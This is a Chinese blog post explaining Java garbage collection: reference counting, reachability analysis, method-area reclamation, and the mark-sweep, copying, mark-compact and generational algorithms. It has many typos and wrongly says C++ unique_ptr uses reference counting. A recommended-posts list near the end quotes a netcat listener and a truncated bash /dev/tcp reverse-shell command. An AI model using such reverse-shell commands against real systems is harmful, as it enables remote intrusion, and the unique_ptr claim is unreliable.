在之前Java 运行期数据区一文中,介绍了运行时内存的各个部分。其中程序计数器、虚拟机栈、本地方法栈都随线程消亡,所以,这几个区域的内存分配和回收都具备确定性。而 Java 堆和方法区不同,我们只有在程序运行期间才能知道会创建哪些对象,这部分的内存分配和回收都是动态的,这也正是垃圾回收器关注的部分。

对象的生与死

垃圾回收器要在进行回收前,需要确定哪些对象的状态,是“存活”还是”死亡“。

引用计数法

给对象添加一个引用计数,每当有一个地方引用对象时,引用计数加 1 ;当引用实现时,引用计数减 1 ;引用计数位 0 的对象不能再背引用。

C++ 中的 unique_ptr 内部就是通过引用计数来实现的,不过该方法有个弊端,对象间可能存在循环引用。Java 没有采取改方法。

可达性分析(Reachability Analysis)算法

Java、C# 都通过该方法来判定对象是否存活。可达性分析算法的思路是通过一系列称为“GC Roots”的对象作为起始点,从这些点开始向下搜索,搜索所走过的路径称为引用链(Reference Chain),当一个对象到 GC Roots 没有任何引用相连(从 GC Roots 到这个对象不可达)时,则证明这个对象是不可用的。



在 Java 中,以下几种对象可以作为 GC Roots :

  1. 虚拟机栈(栈帧中的本地变量表)中引用的对象;
  2. 方法区中类静态属性引用的对象;
  3. 方法区中常量引用的对象;
  4. 本地方法栈中 JNI(Native 方法) 引用的对象。

方法区的回收

Java 运行期数据区一文中,我们介绍过,方法区是各个线程共享的内存区域,用于存储已被虚拟机加载的类信息、常量、静态变量、即时编译器编译后的代码等数据。

永久代的垃圾收集主要回收两部分内容:废弃常量无用的类。回收废弃常量与回收 Java 堆中的对象非常类似。而判定一个类是否是“无用的类”的条件则相对严苛。类需要同时满足3个条件才能算是“无用的类”:

  1. 该类所有的实例都已经被回收,也就是 Java 堆中不存在该类的任何实例。
  2. 加载该类的 ClassLoader 已经被回收;
  3. 该类对象的 java.lang.Class 对象没有在任何地方呗引用,无法在任何地方通过反射访问该类的方法。

虚拟机可以堆满足上述 3 个条件的无用类进行回收,注意,跟对象不一样,不是“无用就一定会回收”。

垃圾回收算法

标记-清除(Mark-Swipe)算法

算法氛围“标记”和“清除”两个阶段:首先标记处所有需要回收的对象,在标记完成后统一回收所有被标记的对象。该算法主要有两个不足:一是效率问题,笔记和清除两个过程的效率够不高;二是空间问题,标记清除之后会产生大量不连续的内存碎片,空间碎片太多可能会导致以后在程序运行过程中需要分配较大对象时,无法找到足够的连续内存而不得不提前出发另一次垃圾收集动作。

复制(Copying)算法

为了解决效率的问题,“复制“算法出现了,该算法将可用内存按容量氛围大小相等的两块,每次只使用其中的一块。当这一块内存用完了,就将存活着的对象复制到另一块上面,然后再把已使用过的内存空间一次清理掉。这样使得每次都是对整个半区进行回收,内存分配时久不用考虑内存碎片等复杂情况,只要一动堆顶置针,按顺序分配即可,实现简单,运行高效。该算法的缺点是内存被缩小位原来的一半。

IBM 的研究表明,新生代中的对象 98% 是“朝生夕死”的,所以并不需要按照 1:1 的比例来划分内存空间,而是将内存分为一块较大的 Eden 空间和两块较小的 Survivor 空间,每次使用 Eden 和其中一块 Survivor 。当回收时,将 Eden 和 Survivor 中还存活着的对象一次性地复制到另外一块 Survivor 空间上,最后清理掉 Eden 和 刚才用过的 Survivor 空间。

当然,我们无法保证一块 Survivor 的空间足够容纳所有的存活对象,所以需要依赖其他内存(老年代)进行分配担保(Handle Promotion)。分配担保的内容后边会介绍到。

标记-整理(Mark-Compact)算法

根据老年代的特点,产生了“标记-整理”算法,标记过程与“标记-清除”算法一样,但后续步骤不是直接对可回收对象进行清理,二是让所有存活的对象都向一段移动,然后直接清理掉端边界以外的内存。

分代收集(Generational Collection)算法

算法思想是:根据对象存活周期的不同将内存划分为几块。一般是把堆分为新生代和老年代,这样就可以根据各个年代的特点采用最合适的收集算法。

在新生代中,每次垃圾收集时都发现有大批对象死去,只有少量存活,那就选用复制算法,只需要付出少量存活对象的复制成本就可以完成收集。而老年代因为对象存活率高、没有额外空间对它进行分配担保,就必须使用“标记-清理”或者“标记-整理”算法来进行回收。

Java 垃圾回收算法的更多相关文章

  1. 深入理解java垃圾回收算法

    Java虚拟机的内存区域中,程序计数器.虚拟机栈和本地方法栈三个区域是线程私有的,随线程生而生,随线程灭而灭:栈中的栈帧随着方法的进入和退出而进行入栈和出栈操作,每个栈帧中分配多少内存基本上是在类结构 ...

  2. Java垃圾回收算法和内存分配策略

    垃圾回收算法和内存分配策略 Java垃圾回收 垃圾收集,也就是GC并不是Java的伴生物,而对于GC的所需要完成任务主要就是: 1.哪些内存是需要回收的? 2.何时去回收这些内存? 3.以何种方式去回 ...

  3. java垃圾回收算法和垃圾收集器

    垃圾收集算法.垃圾回收算法.java垃圾收集器 目录1. 垃圾收集算法1)引用计数法2)根搜索法2. 垃圾回收算法1)复制算法2)标记-清除算法3)标记-整理算法4)分代收集算法3. java垃圾收集 ...

  4. Java垃圾回收算法和垃圾回收器

    基本上 jvm内存回收有三种 基本算法 标记-清除 标记清除的算法最简单,主要是标记出来需要回收的对象,然后然后把这些对象在内存的信息清除.如何标记需要回收的对象,在上一篇文章里面已经有说明. 标记- ...

  5. 一个来自红帽的Java垃圾回收算法,试图把停顿时间降到10毫秒以下 原创 2017-01-10 薛命灯

    转自 微信聊聊架构 GC... 早在三年前,Red Hat就启动了Shenandoah项目.Shenandoah是一种新的Java虚拟机GC算法,目标是利用现代多核CPU的优势,减少大堆内存在GC方面 ...

  6. java垃圾回收算法

    1.标记-清除 2.标记-复制 3.标记-整理 4.分代混合算法

  7. JAVA虚拟机垃圾回收算法原理

    除了释放不再被引用的对象外,垃圾收集器还要处理堆碎块.新的对象分配了空间,不再被引用的对象被释放,所以堆内存的空闲位置介于活动的对象之间.请求分配新对象时可能不得不增大堆空间的大小,虽然可以使用的总空 ...

  8. 深入理解java虚拟机【垃圾回收算法】

    Java虚拟机的内存区域中,程序计数器.虚拟机栈和本地方法栈三个区域是线程私有的,随线程生而生,随线程灭而灭:栈中的栈帧随着方法的进入和退出而进行入栈和出栈操作,每个栈帧中分配多少内存基本上是在类结构 ...

  9. (转)《深入理解java虚拟机》学习笔记3——垃圾回收算法

    Java虚拟机的内存区域中,程序计数器.虚拟机栈和本地方法栈三个区域是线程私有的,随线程生而生,随线程灭而灭:栈中的栈帧随着方法的进入和退出而进行入栈和出栈操作,每个栈帧中分配多少内存基本上是在类结构 ...

随机推荐

  1. 修改linux的系统时间

    可以使用date命令.date用于打印或设置系统日期和时间.设置系统时间需要root权限.用法示例:设置系统日期成2015年08月13日,这样会把具体时间设置清空成00:00:00$ sudo dat ...

  2. Java读取数据源相关信息

    一.采用读取数据源配置文件的方式 package com.ofsp.utils; import java.io.IOException; import java.io.InputStream; imp ...

  3. 关于Net开发中一些SQLServer性能优化的建议

    一. ExecuteNonQuery和ExecuteScalar 对数据的更新不需要返回结果集,建议使用ExecuteNonQuery.由于不返回结果集可省掉网络数据传输.它仅仅返回受影响的行数.如果 ...

  4. Eclipse 快捷键和模板设置

    快捷键设置 菜单  Window --> Preferences---General---Keys Content Assist:  代码提示快捷键 模板设置 新建一个模板 在Insert Va ...

  5. JAVA - 工厂模式

    1. 简单工厂违背OCP(Open Close Principle)原则 , 即对增加开放,对修改关闭.如果要符合OCP原则,要针对接口编程. //简单工厂模式,违反了OCP原则 public cla ...

  6. Linux下NC反弹shell命令

    本机开启监听: nc -lvnp 4444nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/ >& perl版本: pe ...

  7. Java读取property配置文件

    读取配置文件已经成了Java程序员工作的一项必备技能. 配置文件的优点: 可维护性好 怎么个可维护性好呢? 它会让程序中变化的地方很灵活的配置,不需要修改代码. Java程序部署到服务器上去之后就变成 ...

  8. jsp 按钮颜色

    jsp 按钮颜色 第一种方法 <input style= "color:#FF0000;background-color:#00FF00;" type="butto ...

  9. 有关conv_std_logic_vector和conv_integer

    原文地址:关于conv_std_logic_vector 和 conv_integer 这两个函数的使用问题作者:xiphosura std_logic_arithThis is the librar ...

  10. ZooKeeper快速学习

    "一入Java深似海",过去自身对于分布式的接触,始终处于使用别人构建的框架的水平,最多就是在nginx配置一下第4层的负载均衡(最后有介绍).随着java使用深入,本文将重点理解 ...